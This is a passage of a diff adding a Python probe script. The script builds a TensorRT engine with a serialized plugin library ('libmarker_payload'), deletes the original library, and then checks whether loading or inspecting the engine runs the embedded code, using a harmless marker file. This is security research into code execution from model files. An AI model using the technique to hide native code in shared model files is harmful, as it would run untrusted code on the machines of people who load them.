1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
|
| 66 |
+
)
|
| 67 |
+
inp = network.add_input("x", trt.float32, (1, 1))
|
| 68 |
+
identity = network.add_identity(inp)
|
| 69 |
+
identity.get_output(0).name = "y"
|
| 70 |
+
network.mark_output(identity.get_output(0))
|
| 71 |
+
|
| 72 |
+
config = builder.create_builder_config()
|
| 73 |
+
config.set_memory_pool_limit(trt.MemoryPoolType.WORKSPACE, 1 << 20)
|
| 74 |
+
config.set_flag(trt.BuilderFlag.VERSION_COMPATIBLE)
|
| 75 |
+
config.plugins_to_serialize = [str(plugin_lib)]
|
| 76 |
+
|
| 77 |
+
serialized = builder.build_serialized_network(network, config)
|
| 78 |
+
if serialized is None:
|
| 79 |
+
raise RuntimeError("failed to build serialized plugin engine")
|
| 80 |
+
path.write_bytes(bytes(serialized))
|
| 81 |
+
return {
|
| 82 |
+
"path": str(path),
|
| 83 |
+
"size": path.stat().st_size,
|
| 84 |
+
"plugins_to_serialize": [str(plugin_lib)],
|
| 85 |
+
}
|
| 86 |
+
|
| 87 |
+
|
| 88 |
+
def try_deserialize(path: Path, marker: Path, allow_host_code: bool):
|
| 89 |
+
logger = trt.Logger(trt.Logger.WARNING)
|
| 90 |
+
runtime = trt.Runtime(logger)
|
| 91 |
+
if hasattr(runtime, "engine_host_code_allowed"):
|
| 92 |
+
runtime.engine_host_code_allowed = allow_host_code
|
| 93 |
+
|
| 94 |
+
before = marker.read_text() if marker.exists() else ""
|
| 95 |
+
try:
|
| 96 |
+
engine = runtime.deserialize_cuda_engine(path.read_bytes())
|
| 97 |
+
ok = engine is not None
|
| 98 |
+
if engine is not None:
|
| 99 |
+
_ = engine.num_io_tensors
|
| 100 |
+
exc = None
|
| 101 |
+
except Exception as err:
|
| 102 |
+
ok = False
|
| 103 |
+
exc = f"{type(err).__name__}: {err}"
|
| 104 |
+
after = marker.read_text() if marker.exists() else ""
|
| 105 |
+
return {
|
| 106 |
+
"allow_host_code": allow_host_code,
|
| 107 |
+
"ok": ok,
|
| 108 |
+
"exception": exc,
|
| 109 |
+
"marker_changed": after != before,
|
| 110 |
+
"marker_after": after,
|
| 111 |
+
}
|
| 112 |
+
|
| 113 |
+
|
| 114 |
+
def polygraphy_inspect(path: Path, marker: Path):
|
| 115 |
+
env = os.environ.copy()
|
| 116 |
+
env["TRT_PLUGIN_MARKER"] = str(marker)
|
| 117 |
+
before = marker.read_text() if marker.exists() else ""
|
| 118 |
+
proc = subprocess.run(
|
| 119 |
+
[
|
| 120 |
+
"polygraphy",
|
| 121 |
+
"inspect",
|
| 122 |
+
"model",
|
| 123 |
+
str(path),
|
| 124 |
+
"--model-type=engine",
|
| 125 |
+
"--show",
|
| 126 |
+
"attrs",
|
| 127 |
+
],
|
| 128 |
+
text=True,
|
| 129 |
+
capture_output=True,
|
| 130 |
+
timeout=90,
|
| 131 |
+
env=env,
|
| 132 |
+
)
|
| 133 |
+
after = marker.read_text() if marker.exists() else ""
|
| 134 |
+
return {
|
| 135 |
+
"cmd": [
|
| 136 |
+
"polygraphy",
|
| 137 |
+
"inspect",
|
| 138 |
+
"model",
|
| 139 |
+
str(path),
|
| 140 |
+
"--model-type=engine",
|
| 141 |
+
"--show",
|
| 142 |
+
"attrs",
|
| 143 |
+
],
|
| 144 |
+
"returncode": proc.returncode,
|
| 145 |
+
"stdout_tail": proc.stdout[-4000:],
|
| 146 |
+
"stderr_tail": proc.stderr[-4000:],
|
| 147 |
+
"marker_changed": after != before,
|
| 148 |
+
"marker_after": after,
|
| 149 |
+
}
|
| 150 |
+
|
| 151 |
+
|
| 152 |
+
def main():
|
| 153 |
+
parser = argparse.ArgumentParser(
|
| 154 |
+
description="Test whether TensorRT serialized plugin libraries execute from an engine file."
|
| 155 |
+
)
|
| 156 |
+
parser.add_argument("--out", default="results/trt_serialized_plugin_marker_probe.json")
|
| 157 |
+
args = parser.parse_args()
|
| 158 |
+
|
| 159 |
+
out = Path(args.out)
|
| 160 |
+
base = out.parent.parent
|
| 161 |
+
work = base / "plugin-work"
|
| 162 |
+
cases = base / "cases"
|
| 163 |
+
out.parent.mkdir(parents=True, exist_ok=True)
|
| 164 |
+
work.mkdir(parents=True, exist_ok=True)
|
| 165 |
+
cases.mkdir(parents=True, exist_ok=True)
|
| 166 |
+
|
| 167 |
+
src, lib, compile_result = compile_marker_lib(work)
|
| 168 |
+
marker = out.parent / "serialized_plugin_marker.txt"
|
| 169 |
+
if marker.exists():
|
| 170 |
+
marker.unlink()
|
| 171 |
+
|
| 172 |
+
engine = cases / "vc_serialized_marker_plugin.engine"
|
| 173 |
+
result = {
|
| 174 |
+
"python": sys.version,
|
| 175 |
+
"tensorrt_version": trt.__version__,
|
| 176 |
+
"compile": compile_result,
|
| 177 |
+
"source": str(src),
|
| 178 |
+
"plugin_lib": str(lib),
|
| 179 |
+
}
|
| 180 |
+
|
| 181 |
+
try:
|
| 182 |
+
result["build"] = build_engine(engine, lib)
|
| 183 |
+
except Exception as err:
|
| 184 |
+
result["build_error"] = f"{type(err).__name__}: {err}"
|
| 185 |
+
out.write_text(json.dumps(result, indent=2, sort_keys=True))
|
| 186 |
+
print(json.dumps(result, indent=2, sort_keys=True))
|
| 187 |
+
return 2
|
| 188 |
+
|
| 189 |
+
removed_lib = work / "libmarker_payload.removed"
|
| 190 |
+
shutil.move(lib, removed_lib)
|
| 191 |
+
result["plugin_removed_before_load"] = {
|
| 192 |
+
"original_exists": lib.exists(),
|
| 193 |
+
"moved_to": str(removed_lib),
|
| 194 |
+
"moved_exists": removed_lib.exists(),
|
| 195 |
+
}
|
| 196 |
+
|
| 197 |
+
os.environ["TRT_PLUGIN_MARKER"] = str(marker)
|
| 198 |
+
result["deserialize_false"] = try_deserialize(
|
| 199 |
+
engine, marker, allow_host_code=False
|
| 200 |
+
)
|
| 201 |
+
result["deserialize_true"] = try_deserialize(
|
| 202 |
+
engine, marker, allow_host_code=True
|
| 203 |
+
)
|
| 204 |
+
result["polygraphy_inspect"] = polygraphy_inspect(engine, marker)
|
| 205 |
+
|
| 206 |
+
out.write_text(json.dumps(result, indent=2, sort_keys=True))
|
| 207 |
+
print(json.dumps(result, indent=2, sort_keys=True))
|
| 208 |
+
return 0
|
| 209 |
+
|
| 210 |
+
|
| 211 |
+
if __name__ == "__main__":
|
| 212 |
+
raise SystemExit(main())
|